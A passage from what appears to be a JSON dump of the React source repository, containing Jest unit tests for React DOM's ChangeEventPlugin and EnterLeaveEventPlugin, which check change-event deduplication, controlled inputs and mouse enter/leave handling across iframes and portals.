    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nlet React;\nlet ReactDOM;\nlet ReactDOMClient;\nlet Scheduler;\nlet act;\nlet waitForAll;\nlet waitForDiscrete;\nlet assertLog;\n\nconst setUntrackedChecked = Object.getOwnPropertyDescriptor(\n  HTMLInputElement.prototype,\n  'checked',\n).set;\n\nconst setUntrackedValue = Object.getOwnPropertyDescriptor(\n  HTMLInputElement.prototype,\n  'value',\n).set;\n\nconst setUntrackedTextareaValue = Object.getOwnPropertyDescriptor(\n  HTMLTextAreaElement.prototype,\n  'value',\n).set;\n\ndescribe('ChangeEventPlugin', () => {\n  let container;\n\n  beforeEach(() => {\n    jest.resetModules();\n    // TODO pull this into helper method, reduce repetition.\n    // mock the browser APIs which are used in schedule:\n    // - calling 'window.postMessage' should actually fire postmessage handlers\n    const originalAddEventListener = global.addEventListener;\n    let postMessageCallback;\n    global.addEventListener = function (eventName, callback, useCapture) {\n      if (eventName === 'message') {\n        postMessageCallback = callback;\n      } else {\n        originalAddEventListener(eventName, callback, useCapture);\n      }\n    };\n    global.postMessage = function (messageKey, targetOrigin) {\n      const postMessageEvent = {source: window, data: messageKey};\n      if (postMessageCallback) {\n        postMessageCallback(postMessageEvent);\n      }\n    };\n    React = require('react');\n    ReactDOM = require('react-dom');\n    ReactDOMClient = require('react-dom/client');\n    act = require('internal-test-utils').act;\n    Scheduler = require('scheduler');\n\n    const InternalTestUtils = require('internal-test-utils');\n    waitForAll = InternalTestUtils.waitForAll;\n    waitForDiscrete = InternalTestUtils.waitForDiscrete;\n    assertLog = InternalTestUtils.assertLog;\n\n    container = document.createElement('div');\n    document.body.appendChild(container);\n  });\n\n  afterEach(() => {\n    document.body.removeChild(container);\n    container = null;\n  });\n\n  // We try to avoid firing \"duplicate\" React change events.\n  // However, to tell which events are \"duplicates\" and should be ignored,\n  // we are tracking the \"current\" input value, and only respect events\n  // that occur after it changes. In most of these tests, we verify that we\n  // keep track of the \"current\" value and only fire events when it changes.\n  // See https://github.com/facebook/react/pull/5746.\n\n  it('should consider initial text value to be current', async () => {\n    let called = 0;\n\n    function cb(e) {\n      called++;\n      expect(e.type).toBe('change');\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<input type=\"text\" onChange={cb} defaultValue=\"foo\" />);\n    });\n\n    const node = container.firstChild;\n    node.dispatchEvent(new Event('input', {bubbles: true, cancelable: true}));\n    node.dispatchEvent(new Event('change', {bubbles: true, cancelable: true}));\n\n    // There should be no React change events because the value stayed the same.\n    expect(called).toBe(0);\n  });\n\n  it('should consider initial text value to be current (capture)', async () => {\n    let called = 0;\n\n    function cb(e) {\n      called++;\n      expect(e.type).toBe('change');\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(\n        <input type=\"text\" onChangeCapture={cb} defaultValue=\"foo\" />,\n      );\n    });\n\n    const node = container.firstChild;\n    node.dispatchEvent(new Event('input', {bubbles: true, cancelable: true}));\n    node.dispatchEvent(new Event('change', {bubbles: true, cancelable: true}));\n\n    // There should be no React change events because the value stayed the same.\n    expect(called).toBe(0);\n  });\n\n  it('should not invoke a change event for textarea same value', async () => {\n    let called = 0;\n\n    function cb(e) {\n      called++;\n      expect(e.type).toBe('change');\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<textarea onChange={cb} defaultValue=\"initial\" />);\n    });\n\n    const node = container.firstChild;\n    node.dispatchEvent(new Event('input', {bubbles: true, cancelable: true}));\n    node.dispatchEvent(new Event('change', {bubbles: true, cancelable: true}));\n    // There should be no React change events because the value stayed the same.\n    expect(called).toBe(0);\n  });\n\n  it('should not invoke a change event for textarea same value (capture)', async () => {\n    let called = 0;\n\n    function cb(e) {\n      called++;\n      expect(e.type).toBe('change');\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<textarea onChangeCapture={cb} defaultValue=\"initial\" />);\n    });\n\n    const node = container.firstChild;\n    node.dispatchEvent(new Event('input', {bubbles: true, cancelable: true}));\n    node.dispatchEvent(new Event('change', {bubbles: true, cancelable: true}));\n    // There should be no React change events because the value stayed the same.\n    expect(called).toBe(0);\n  });\n\n  it('should consider initial checkbox checked=true to be current', async () => {\n    let called = 0;\n\n    function cb(e) {\n      called++;\n      expect(e.type).toBe('change');\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(\n        <input type=\"checkbox\" onChange={cb} defaultChecked={true} />,\n      );\n    });\n\n    const node = container.firstChild;\n\n    // Secretly, set `checked` to false, so that dispatching the `click` will\n    // make it `true` again. Thus, at the time of the event, React should not\n    // consider it a change from the initial `true` value.\n    setUntrackedChecked.call(node, false);\n    node.dispatchEvent(\n      new MouseEvent('click', {bubbles: true, cancelable: true}),\n    );\n    // There should be no React change events because the value stayed the same.\n    expect(called).toBe(0);\n  });\n\n  it('should consider initial checkbox checked=false to be current', async () => {\n    let called = 0;\n\n    function cb(e) {\n      called++;\n      expect(e.type).toBe('change');\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(\n        <input type=\"checkbox\" onChange={cb} defaultChecked={false} />,\n      );\n    });\n\n    const node = container.firstChild;\n\n    // Secretly, set `checked` to true, so that dispatching the `click` will\n    // make it `false` again. Thus, at the time of the event, React should not\n    // consider it a change from the initial `false` value.\n    setUntrackedChecked.call(node, true);\n    node.dispatchEvent(\n      new MouseEvent('click', {bubbles: true, cancelable: true}),\n    );\n    // There should be no React change events because the value stayed the same.\n    expect(called).toBe(0);\n  });\n\n  it('should fire change for checkbox input', async () => {\n    let called = 0;\n\n    function cb(e) {\n      called++;\n      expect(e.type).toBe('change');\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<input type=\"checkbox\" onChange={cb} />);\n    });\n\n    const node = container.firstChild;\n\n    expect(node.checked).toBe(false);\n    node.dispatchEvent(\n      new MouseEvent('click', {bubbles: true, cancelable: true}),\n    );\n    // Note: unlike with text input events, dispatching `click` actually\n    // toggles the checkbox and updates its `checked` value.\n    expect(node.checked).toBe(true);\n    expect(called).toBe(1);\n\n    expect(node.checked).toBe(true);\n    node.dispatchEvent(\n      new MouseEvent('click', {bubbles: true, cancelable: true}),\n    );\n    expect(node.checked).toBe(false);\n    expect(called).toBe(2);\n  });\n\n  it('should not fire change setting the value programmatically', async () => {\n    let called = 0;\n\n    function cb(e) {\n      called++;\n      expect(e.type).toBe('change');\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<input type=\"text\" defaultValue=\"foo\" onChange={cb} />);\n    });\n\n    const input = container.firstChild;\n\n    // Set it programmatically.\n    input.value = 'bar';\n    // Even if a DOM input event fires, React sees that the real input value now\n    // ('bar') is the same as the \"current\" one we already recorded.\n    input.dispatchEvent(new Event('input', {bubbles: true, cancelable: true}));\n    expect(input.value).toBe('bar');\n    // In this case we don't expect to get a React event.\n    expect(called).toBe(0);\n\n    // However, we can simulate user typing by calling the underlying setter.\n    setUntrackedValue.call(input, 'foo');\n    // Now, when the event fires, the real input value ('foo') differs from the\n    // \"current\" one we previously recorded ('bar').\n    input.dispatchEvent(new Event('input', {bubbles: true, cancelable: true}));\n    expect(input.value).toBe('foo');\n    // In this case React should fire an event for it.\n    expect(called).toBe(1);\n\n    // Verify again that extra events without real changes are ignored.\n    input.dispatchEvent(new Event('input', {bubbles: true, cancelable: true}));\n    expect(called).toBe(1);\n  });\n\n  it('should not distinguish equal string and number values', async () => {\n    let called = 0;\n\n    function cb(e) {\n      called++;\n      expect(e.type).toBe('change');\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<input type=\"text\" defaultValue=\"42\" onChange={cb} />);\n    });\n\n    const input = container.firstChild;\n\n    // When we set `value` as a property, React updates the \"current\" value\n    // that it tracks internally. The \"current\" value is later used to determine\n    // whether a change event is a duplicate or not.\n    // Even though we set value to a number, we still shouldn't get a change\n    // event because as a string, it's equal to the initial value ('42').\n    input.value = 42;\n    input.dispatchEvent(new Event('input', {bubbles: true, cancelable: true}));\n    expect(input.value).toBe('42');\n    expect(called).toBe(0);\n  });\n\n  // See a similar input test above for a detailed description of why.\n  it('should not fire change when setting checked programmatically', async () => {\n    let called = 0;\n\n    function cb(e) {\n      called++;\n      expect(e.type).toBe('change');\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(\n        <input type=\"checkbox\" onChange={cb} defaultChecked={false} />,\n      );\n    });\n\n    const input = container.firstChild;\n\n    // Set the value, updating the \"current\" value that React tracks to true.\n    input.checked = true;\n    // Under the hood, uncheck the box so that the click will \"check\" it again.\n    setUntrackedChecked.call(input, false);\n    input.click();\n    expect(input.checked).toBe(true);\n    // We don't expect a React event because at the time of the click, the real\n    // checked value (true) was the same as the last recorded \"current\" value\n    // (also true).\n    expect(called).toBe(0);\n\n    // However, simulating a normal click should fire a React event because the\n    // real value (false) would have changed from the last tracked value (true).\n    input.click();\n    expect(called).toBe(1);\n  });\n\n  it('should unmount', async () => {\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<input />);\n    });\n\n    const input = container.firstChild;\n\n    await act(() => {\n      root.unmount();\n    });\n  });\n\n  it('should only fire change for checked radio button once', async () => {\n    let called = 0;\n\n    function cb(e) {\n      called++;\n      expect(e.type).toBe('change');\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<input type=\"radio\" onChange={cb} />);\n    });\n\n    const input = container.firstChild;\n\n    setUntrackedChecked.call(input, true);\n    input.dispatchEvent(new Event('click', {bubbles: true, cancelable: true}));\n    input.dispatchEvent(new Event('click', {bubbles: true, cancelable: true}));\n    expect(called).toBe(1);\n  });\n\n  it('should track radio button cousins in a group', async () => {\n    let called1 = 0;\n    let called2 = 0;\n\n    function cb1(e) {\n      called1++;\n      expect(e.type).toBe('change');\n    }\n\n    function cb2(e) {\n      called2++;\n      expect(e.type).toBe('change');\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(\n        <div>\n          <input type=\"radio\" name=\"group\" onChange={cb1} />\n          <input type=\"radio\" name=\"group\" onChange={cb2} />\n        </div>,\n      );\n    });\n\n    const div = container.firstChild;\n    const option1 = div.childNodes[0];\n    const option2 = div.childNodes[1];\n\n    // Select first option.\n    option1.click();\n    expect(called1).toBe(1);\n    expect(called2).toBe(0);\n\n    // Select second option.\n    option2.click();\n    expect(called1).toBe(1);\n    expect(called2).toBe(1);\n\n    // Select the first option.\n    // It should receive the React change event again.\n    option1.click();\n    expect(called1).toBe(2);\n    expect(called2).toBe(1);\n  });\n\n  it('should deduplicate input value change events', async () => {\n    let called = 0;\n\n    function cb(e) {\n      called++;\n      expect(e.type).toBe('change');\n    }\n\n    const inputTypes = ['text', 'number', 'range'];\n    while (inputTypes.length) {\n      const type = inputTypes.pop();\n      called = 0;\n      let root = ReactDOMClient.createRoot(container);\n      let ref = {current: null};\n      await act(() => {\n        root.render(<input ref={ref} type={type} onChange={cb} />);\n      });\n      let input = ref.current;\n      await act(() => {\n        // Should be ignored (no change):\n        input.dispatchEvent(\n          new Event('change', {bubbles: true, cancelable: true}),\n        );\n        setUntrackedValue.call(input, '42');\n        input.dispatchEvent(\n          new Event('change', {bubbles: true, cancelable: true}),\n        );\n        // Should be ignored (no change):\n        input.dispatchEvent(\n          new Event('change', {bubbles: true, cancelable: true}),\n        );\n      });\n      expect(called).toBe(1);\n      root.unmount();\n\n      called = 0;\n      root = ReactDOMClient.createRoot(container);\n      ref = {current: null};\n      await act(() => {\n        root.render(<input ref={ref} type={type} onChange={cb} />);\n      });\n      input = ref.current;\n      await act(() => {\n        // Should be ignored (no change):\n        input.dispatchEvent(\n          new Event('input', {bubbles: true, cancelable: true}),\n        );\n        setUntrackedValue.call(input, '42');\n        input.dispatchEvent(\n          new Event('input', {bubbles: true, cancelable: true}),\n        );\n        // Should be ignored (no change):\n        input.dispatchEvent(\n          new Event('input', {bubbles: true, cancelable: true}),\n        );\n      });\n      expect(called).toBe(1);\n      root.unmount();\n\n      called = 0;\n      root = ReactDOMClient.createRoot(container);\n      ref = {current: null};\n      await act(() => {\n        root.render(<input ref={ref} type={type} onChange={cb} />);\n      });\n      input = ref.current;\n      await act(() => {\n        // Should be ignored (no change):\n        input.dispatchEvent(\n          new Event('change', {bubbles: true, cancelable: true}),\n        );\n        setUntrackedValue.call(input, '42');\n        input.dispatchEvent(\n          new Event('input', {bubbles: true, cancelable: true}),\n        );\n        // Should be ignored (no change):\n        input.dispatchEvent(\n          new Event('change', {bubbles: true, cancelable: true}),\n        );\n      });\n      expect(called).toBe(1);\n      root.unmount();\n    }\n  });\n\n  it('should listen for both change and input events when supported', async () => {\n    let called = 0;\n\n    function cb(e) {\n      called++;\n      expect(e.type).toBe('change');\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<input type=\"range\" onChange={cb} />);\n    });\n\n    const input = container.firstChild;\n\n    setUntrackedValue.call(input, 10);\n    input.dispatchEvent(new Event('input', {bubbles: true, cancelable: true}));\n\n    setUntrackedValue.call(input, 20);\n    input.dispatchEvent(new Event('change', {bubbles: true, cancelable: true}));\n\n    expect(called).toBe(2);\n  });\n\n  it('should only fire events when the value changes for range inputs', async () => {\n    let called = 0;\n\n    function cb(e) {\n      called++;\n      expect(e.type).toBe('change');\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<input type=\"range\" onChange={cb} />);\n    });\n\n    const input = container.firstChild;\n    setUntrackedValue.call(input, '40');\n    input.dispatchEvent(new Event('input', {bubbles: true, cancelable: true}));\n    input.dispatchEvent(new Event('change', {bubbles: true, cancelable: true}));\n\n    setUntrackedValue.call(input, 'foo');\n    input.dispatchEvent(new Event('input', {bubbles: true, cancelable: true}));\n    input.dispatchEvent(new Event('change', {bubbles: true, cancelable: true}));\n\n    expect(called).toBe(2);\n  });\n\n  it('does not crash for nodes with custom value property', async () => {\n    let originalCreateElement;\n    // https://github.com/facebook/react/issues/10196\n    try {\n      originalCreateElement = document.createElement;\n      document.createElement = function () {\n        const node = originalCreateElement.apply(this, arguments);\n        Object.defineProperty(node, 'value', {\n          get() {},\n          set() {},\n        });\n        return node;\n      };\n      const div = document.createElement('div');\n      const root = ReactDOMClient.createRoot(div);\n      // Mount\n      await act(() => {\n        root.render(<input type=\"text\" />);\n      });\n      const node = div.firstChild;\n      // Update\n      await act(() => {\n        root.render(<input type=\"text\" />);\n      });\n\n      // Change\n      node.dispatchEvent(\n        new Event('change', {bubbles: true, cancelable: true}),\n      );\n      // Unmount\n      await act(() => {\n        root.unmount();\n      });\n    } finally {\n      document.createElement = originalCreateElement;\n    }\n  });\n\n  describe('concurrent mode', () => {\n    it('text input', async () => {\n      const root = ReactDOMClient.createRoot(container);\n      let input;\n\n      class ControlledInput extends React.Component {\n        state = {value: 'initial'};\n        onChange = event => this.setState({value: event.target.value});\n        render() {\n          Scheduler.log(`render: ${this.state.value}`);\n          const controlledValue =\n            this.state.value === 'changed' ? 'changed [!]' : this.state.value;\n          return (\n            <input\n              ref={el => (input = el)}\n              type=\"text\"\n              value={controlledValue}\n              onChange={this.onChange}\n            />\n          );\n        }\n      }\n\n      // Initial mount. Test that this is async.\n      root.render(<ControlledInput />);\n      // Should not have flushed yet.\n      assertLog([]);\n      expect(input).toBe(undefined);\n      // Flush callbacks.\n      await waitForAll(['render: initial']);\n      expect(input.value).toBe('initial');\n\n      // Trigger a change event.\n      setUntrackedValue.call(input, 'changed');\n      input.dispatchEvent(\n        new Event('input', {bubbles: true, cancelable: true}),\n      );\n      // Change should synchronously flush\n      assertLog(['render: changed']);\n      // Value should be the controlled value, not the original one\n      expect(input.value).toBe('changed [!]');\n    });\n\n    it('checkbox input', async () => {\n      const root = ReactDOMClient.createRoot(container);\n      let input;\n\n      class ControlledInput extends React.Component {\n        state = {checked: false};\n        onChange = event => {\n          this.setState({checked: event.target.checked});\n        };\n        render() {\n          Scheduler.log(`render: ${this.state.checked}`);\n          const controlledValue = this.props.reverse\n            ? !this.state.checked\n            : this.state.checked;\n          return (\n            <input\n              ref={el => (input = el)}\n              type=\"checkbox\"\n              checked={controlledValue}\n              onChange={this.onChange}\n            />\n          );\n        }\n      }\n\n      // Initial mount. Test that this is async.\n      root.render(<ControlledInput reverse={false} />);\n      // Should not have flushed yet.\n      assertLog([]);\n      expect(input).toBe(undefined);\n      // Flush callbacks.\n      await waitForAll(['render: false']);\n      expect(input.checked).toBe(false);\n\n      // Trigger a change event.\n      input.dispatchEvent(\n        new MouseEvent('click', {bubbles: true, cancelable: true}),\n      );\n      // Change should synchronously flush\n      assertLog(['render: true']);\n      expect(input.checked).toBe(true);\n\n      // Now let's make sure we're using the controlled value.\n      root.render(<ControlledInput reverse={true} />);\n      await waitForAll(['render: true']);\n\n      // Trigger another change event.\n      input.dispatchEvent(\n        new MouseEvent('click', {bubbles: true, cancelable: true}),\n      );\n      // Change should synchronously flush\n      assertLog(['render: true']);\n      expect(input.checked).toBe(false);\n    });\n\n    it('textarea', async () => {\n      const root = ReactDOMClient.createRoot(container);\n      let textarea;\n\n      class ControlledTextarea extends React.Component {\n        state = {value: 'initial'};\n        onChange = event => this.setState({value: event.target.value});\n        render() {\n          Scheduler.log(`render: ${this.state.value}`);\n          const controlledValue =\n            this.state.value === 'changed' ? 'changed [!]' : this.state.value;\n          return (\n            <textarea\n              ref={el => (textarea = el)}\n              type=\"text\"\n              value={controlledValue}\n              onChange={this.onChange}\n            />\n          );\n        }\n      }\n\n      // Initial mount. Test that this is async.\n      root.render(<ControlledTextarea />);\n      // Should not have flushed yet.\n      assertLog([]);\n      expect(textarea).toBe(undefined);\n      // Flush callbacks.\n      await waitForAll(['render: initial']);\n      expect(textarea.value).toBe('initial');\n\n      // Trigger a change event.\n      setUntrackedTextareaValue.call(textarea, 'changed');\n      textarea.dispatchEvent(\n        new Event('input', {bubbles: true, cancelable: true}),\n      );\n      // Change should synchronously flush\n      assertLog(['render: changed']);\n      // Value should be the controlled value, not the original one\n      expect(textarea.value).toBe('changed [!]');\n    });\n\n    it('parent of input', async () => {\n      const root = ReactDOMClient.createRoot(container);\n      let input;\n\n      class ControlledInput extends React.Component {\n        state = {value: 'initial'};\n        onChange = event => this.setState({value: event.target.value});\n        render() {\n          Scheduler.log(`render: ${this.state.value}`);\n          const controlledValue =\n            this.state.value === 'changed' ? 'changed [!]' : this.state.value;\n          return (\n            <div onChange={this.onChange}>\n              <input\n                ref={el => (input = el)}\n                type=\"text\"\n                value={controlledValue}\n                onChange={() => {\n                  // Does nothing. Parent handler is responsible for updating.\n                }}\n              />\n            </div>\n          );\n        }\n      }\n\n      // Initial mount. Test that this is async.\n      root.render(<ControlledInput />);\n      // Should not have flushed yet.\n      assertLog([]);\n      expect(input).toBe(undefined);\n      // Flush callbacks.\n      await waitForAll(['render: initial']);\n      expect(input.value).toBe('initial');\n\n      // Trigger a change event.\n      setUntrackedValue.call(input, 'changed');\n      input.dispatchEvent(\n        new Event('input', {bubbles: true, cancelable: true}),\n      );\n      // Change should synchronously flush\n      assertLog(['render: changed']);\n      // Value should be the controlled value, not the original one\n      expect(input.value).toBe('changed [!]');\n    });\n\n    it('is sync for non-input events', async () => {\n      const root = ReactDOMClient.createRoot(container);\n      let input;\n\n      class ControlledInput extends React.Component {\n        state = {value: 'initial'};\n        onChange = event => this.setState({value: event.target.value});\n        reset = () => {\n          this.setState({value: ''});\n        };\n        render() {\n          Scheduler.log(`render: ${this.state.value}`);\n          const controlledValue =\n            this.state.value === 'changed' ? 'changed [!]' : this.state.value;\n          return (\n            <input\n              ref={el => (input = el)}\n              type=\"text\"\n              value={controlledValue}\n              onChange={this.onChange}\n              onClick={this.reset}\n            />\n          );\n        }\n      }\n\n      // Initial mount. Test that this is async.\n      root.render(<ControlledInput />);\n      // Should not have flushed yet.\n      assertLog([]);\n      expect(input).toBe(undefined);\n      // Flush callbacks.\n      await waitForAll(['render: initial']);\n      expect(input.value).toBe('initial');\n\n      // Trigger a click event\n      input.dispatchEvent(\n        new Event('click', {bubbles: true, cancelable: true}),\n      );\n\n      // Flush microtask queue.\n      await waitForDiscrete(['render: ']);\n      expect(input.value).toBe('');\n    });\n\n    it('mouse enter/leave should be user-blocking but not discrete', async () => {\n      const {useState} = React;\n\n      const root = ReactDOMClient.createRoot(container);\n\n      const target = React.createRef(null);\n      function Foo() {\n        const [isHover, setHover] = useState(false);\n        return (\n          <div\n            ref={target}\n            onMouseEnter={() => setHover(true)}\n            onMouseLeave={() => setHover(false)}>\n            {isHover ? 'hovered' : 'not hovered'}\n          </div>\n        );\n      }\n\n      await act(() => {\n        root.render(<Foo />);\n      });\n      expect(container.textContent).toEqual('not hovered');\n\n      await act(() => {\n        const mouseOverEvent = document.createEvent('MouseEvents');\n        mouseOverEvent.initEvent('mouseover', true, true);\n        target.current.dispatchEvent(mouseOverEvent);\n\n        // Flush discrete updates\n        ReactDOM.flushSync();\n        // Since mouse enter/leave is not discrete, should not have updated yet\n        expect(container.textContent).toEqual('not hovered');\n      });\n      expect(container.textContent).toEqual('hovered');\n    });\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/events/plugins/__tests__/EnterLeaveEventPlugin-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nlet React;\nlet ReactDOM;\nlet ReactDOMClient;\nlet act;\n\ndescribe('EnterLeaveEventPlugin', () => {\n  let container;\n\n  beforeEach(() => {\n    jest.resetModules();\n\n    React = require('react');\n    ReactDOM = require('react-dom');\n    ReactDOMClient = require('react-dom/client');\n    act = require('internal-test-utils').act;\n\n    // The container has to be attached for events to fire.\n    container = document.createElement('div');\n    document.body.appendChild(container);\n  });\n\n  afterEach(() => {\n    document.body.removeChild(container);\n    container = null;\n  });\n\n  it('should set onMouseLeave relatedTarget properly in iframe', async () => {\n    const iframe = document.createElement('iframe');\n    container.appendChild(iframe);\n    const iframeDocument = iframe.contentDocument;\n    iframeDocument.write(\n      '<!DOCTYPE html><html><head></head><body><div></div></body></html>',\n    );\n    iframeDocument.close();\n\n    const leaveEvents = [];\n    const root = ReactDOMClient.createRoot(\n      iframeDocument.body.getElementsByTagName('div')[0],\n    );\n    await act(() => {\n      root.render(\n        <div\n          onMouseLeave={e => {\n            e.persist();\n            leaveEvents.push(e);\n          }}\n        />,\n      );\n    });\n    const node = iframeDocument.body.getElementsByTagName('div')[0].firstChild;\n    await act(() => {\n      node.dispatchEvent(\n        new MouseEvent('mouseout', {\n          bubbles: true,\n          cancelable: true,\n          relatedTarget: iframe.contentWindow,\n        }),\n      );\n    });\n\n    expect(leaveEvents.length).toBe(1);\n    expect(leaveEvents[0].target).toBe(node);\n    expect(leaveEvents[0].relatedTarget).toBe(iframe.contentWindow);\n  });\n\n  it('should set onMouseEnter relatedTarget properly in iframe', async () => {\n    const iframe = document.createElement('iframe');\n    container.appendChild(iframe);\n    const iframeDocument = iframe.contentDocument;\n    iframeDocument.write(\n      '<!DOCTYPE html><html><head></head><body><div></div></body></html>',\n    );\n    iframeDocument.close();\n\n    const enterEvents = [];\n    const root = ReactDOMClient.createRoot(\n      iframeDocument.body.getElementsByTagName('div')[0],\n    );\n    await act(() => {\n      root.render(\n        <div\n          onMouseEnter={e => {\n            e.persist();\n            enterEvents.push(e);\n          }}\n        />,\n      );\n    });\n    const node = iframeDocument.body.getElementsByTagName('div')[0].firstChild;\n    await act(() => {\n      node.dispatchEvent(\n        new MouseEvent('mouseover', {\n          bubbles: true,\n          cancelable: true,\n          relatedTarget: null,\n        }),\n      );\n    });\n\n    expect(enterEvents.length).toBe(1);\n    expect(enterEvents[0].target).toBe(node);\n    expect(enterEvents[0].relatedTarget).toBe(iframe.contentWindow);\n  });\n\n  // Regression test for https://github.com/facebook/react/issues/10906.\n  it('should find the common parent after updates', async () => {\n    let parentEnterCalls = 0;\n    let childEnterCalls = 0;\n    let parent = null;\n\n    class Parent extends React.Component {\n      render() {\n        return (\n          <div\n            onMouseEnter={() => parentEnterCalls++}\n            ref={node => (parent = node)}>\n            {this.props.showChild && (\n              <div onMouseEnter={() => childEnterCalls++} />\n            )}\n          </div>\n        );\n      }\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<Parent />);\n    });\n    await act(() => {\n      root.render(<Parent showChild={true} />);\n    });\n\n    // Enter from parent into the child.\n    await act(() => {\n      parent.dispatchEvent(\n        new MouseEvent('mouseout', {\n          bubbles: true,\n          cancelable: true,\n          relatedTarget: parent.firstChild,\n        }),\n      );\n    });\n\n    // Entering a child should fire on the child, not on the parent.\n    expect(childEnterCalls).toBe(1);\n    expect(parentEnterCalls).toBe(0);\n  });\n\n  // Test for https://github.com/facebook/react/issues/16763.\n  // @gate !disableLegacyMode\n  it('should call mouseEnter once from sibling rendered inside a rendered component in legacy roots', async () => {\n    const mockFn = jest.fn();\n\n    class Parent extends React.Component {\n      constructor(props) {\n        super(props);\n        this.parentEl = React.createRef();\n      }\n\n      componentDidMount() {\n        ReactDOM.render(<MouseEnterDetect />, this.parentEl.current);\n      }\n\n      render() {\n        return <div ref={this.parentEl} />;\n      }\n    }\n\n    class MouseEnterDetect extends React.Component {\n      constructor(props) {\n        super(props);\n        this.firstEl = React.createRef();\n        this.siblingEl = React.createRef();\n      }\n\n      componentDidMount() {\n        this.siblingEl.current.dispatchEvent(\n          new MouseEvent('mouseout', {\n            bubbles: true,\n            cancelable: true,\n            relatedTarget: this.firstEl.current,\n          }),\n        );\n      }\n\n      render() {\n        return (\n          <React.Fragment>\n            <div ref={this.firstEl} onMouseEnter={mockFn} />\n            <div ref={this.siblingEl} />\n          </React.Fragment>\n        );\n      }\n    }\n\n    await act(() => {\n      ReactDOM.render(<Parent />, container);\n    });\n    expect(mockFn.mock.calls.length).toBe(1);\n  });\n\n  // @gate !disableLegacyMode\n  it('should call mouseEnter when pressing a non tracked React node in legacy root', async () => {\n    const mockFn = jest.fn();\n\n    class Parent extends React.Component {\n      constructor(props) {\n        super(props);\n        this.parentEl = React.createRef();\n      }\n\n      componentDidMount() {\n        ReactDOM.render(<MouseEnterDetect />, this.parentEl.current);\n      }\n\n      render() {\n        return <div ref={this.parentEl} />;\n      }\n    }\n\n    class MouseEnterDetect extends React.Component {\n      constructor(props) {\n        super(props);\n        this.divRef = React.createRef();\n        this.siblingEl = React.createRef();\n      }\n\n      componentDidMount() {\n        const attachedNode = document.createElement('div');\n        this.divRef.current.appendChild(attachedNode);\n        attachedNode.dispatchEvent(\n          new MouseEvent('mouseout', {\n            bubbles: true,\n            cancelable: true,\n            relatedTarget: this.siblingEl.current,\n          }),\n        );\n      }\n\n      render() {\n        return (\n          <div ref={this.divRef}>\n            <div ref={this.siblingEl} onMouseEnter={mockFn} />\n          </div>\n        );\n      }\n    }\n\n    await act(() => {\n      ReactDOM.render(<Parent />, container);\n    });\n    expect(mockFn.mock.calls.length).toBe(1);\n  });\n\n  it('should work with portals outside of the root that has onMouseLeave', async () => {\n    const divRef = React.createRef();\n    const onMouseLeave = jest.fn();\n\n    function Component() {\n      return (\n        <div onMouseLeave={onMouseLeave}>\n          {ReactDOM.createPortal(<div ref={divRef} />, document.body)}\n        </div>\n      );\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n\n    await act(() => {\n      root.render(<Component />);\n    });\n\n    // Leave from the portal div\n    await act(() => {\n      divRef.current.dispatchEvent(\n        new MouseEvent('mouseout', {\n          bubbles: true,\n          cancelable: true,\n          relatedTarget: document.body,\n        }),\n      );\n    });\n\n    expect(onMouseLeave).toHaveBeenCalledTimes(1);\n  });\n\n  it('should work with portals that have onMouseEnter outside of the root', async () => {\n    const divRef = React.createRef();\n    const otherDivRef = React.createRef();\n    const onMouseEnter = jest.fn();\n\n    function Component() {\n      return (\n        <div ref={divRef}>\n          {ReactDOM.createPortal(\n            <div ref={otherDivRef} onMouseEnter={onMouseEnter} />,\n            document.body,\n          )}\n        </div>\n      );\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n\n    await act(() => {\n      root.render(<Component />);\n    });\n\n    // Leave from the portal div\n    divRef.current.dispatchEvent(\n      new MouseEvent('mouseout', {\n        bubbles: true,\n        cancelable: true,\n        relatedTarget: otherDivRef.current,\n      }),\n    );\n\n    expect(onMouseEnter).toHaveBeenCalledTimes(1);\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/events/plugins/__tests__/SelectEventPlugin-test.js",
